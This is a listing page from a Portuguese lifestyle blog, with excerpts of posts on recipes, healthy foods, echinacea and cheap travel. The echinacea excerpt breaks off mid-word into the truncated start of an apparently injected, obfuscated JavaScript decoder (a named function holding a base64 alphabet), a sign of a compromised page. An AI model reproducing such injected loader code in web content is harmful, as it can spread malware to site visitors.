Mai 11, 2019 | À descoberta, Receitas, Teresa
Uma fantástica refeição saudável: espetadas de salmão e bacalhau e uma salada mediterrânea Todos nós gostamos de manter uma alimentação saudável, verdade? Ainda assim, com muita facilidade a nossa vida pode ter um ritmo muito acelerado e, por vezes, pode ser...
Mai 9, 2019 | Dicas úteis, Saúde e bem estar
5 benefícios das ervilhas que são ideais para emagrecer As ervilhas fazem parte dos meus vegetais de eleição. São ricas em fibras, vitaminas e proteínas, e, por isso mesmo, muito aconselhadas para uma dieta equilibrada e saudável. Além disso, as ervilhas são ideais...
Mai 7, 2019 | Dicas úteis, Receitas, Saúde e bem estar, Teresa
Descobri recentemente esta raiz com propriedades medicinais, originária da Índia e China, e estou fã. Uso-a em chá, na minha água para controlar o peso, e na comida. Tem propriedades anti-inflamatórias, antioxidantes e também ajuda a controlar os níveis de colesterol...
Mai 6, 2019 | À descoberta, Saúde e bem estar
Os melhores alimentos para o cérebro O cérebro controla muitas funções do nosso corpo através do sistema nervoso. Assim, é indispensável cuidar dele e dar-lhe sempre a devida importância. Uma dieta equilibrada e uma vida saudável são dois trunfos para manter um...
Mai 5, 2019 | À descoberta, Dicas úteis
9 destinos baratos para conhecer em 2019 O começo da Primavera e o regresso do tempo agradável significa também que voltam as condições ideais para fazer uma viagem! Certamente gosta tanto de viajar como eu… Descobrir novas culturas, ver sítios maravilhosos e ter...
Mai 4, 2019 | À descoberta, Receitas
Tigelada – um fantástico doce conventual Não há prazer maior do que provar um doce fantástico, verdade? Então se for um doce conventual português não há como resistir! Já sabe que faço sempre questão de lhe dar as melhores receitas da gastronomia do nosso país. O...
Mai 3, 2019 | À descoberta, Dicas úteis, Saúde e bem estar
Dicas saudáveis: 7 variantes do coco Já lhe falei dos benefícios do coco e das propriedades fantásticas do seu óleo! Hoje vou falar-lhe das inúmeras formas deliciosas em que pode consumir este fruto fabuloso. Conheça-as agora, bem como todas as vantagens do seu...
Mai 1, 2019 | À descoberta, Receitas
Receita de pataniscas caseiras deliciosas A gastronomia portuguesa tem pratos irresistíveis. Esta receita de pataniscas caseiras deliciosas, é simples de fazer, não necessita de muitos ingredientes e tem um sabor inconfundível. Por isso tome nota e experimente. Vai...
Abr 30, 2019 | À descoberta, Dicas úteis, Saúde e bem estar
10 Benefícios da Equinácea para a sua saúde Hoje venho falar-lhe de uma planta fantástica nativa da América do Norte Central, com uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var...
Abr 28, 2019 | À descoberta, Dicas úteis, Faça você mesmo, header
Como fazer ambientadores em casa sem gastar muito dinheiro Com a correria dos nossos dias e a poluição presente nas ruas, nada melhor do que abrir a porta de casa e ter um ambiente maravilhoso, repleto de belíssimos odores. Hoje vou dar-lhe a conhecer ambientadores...
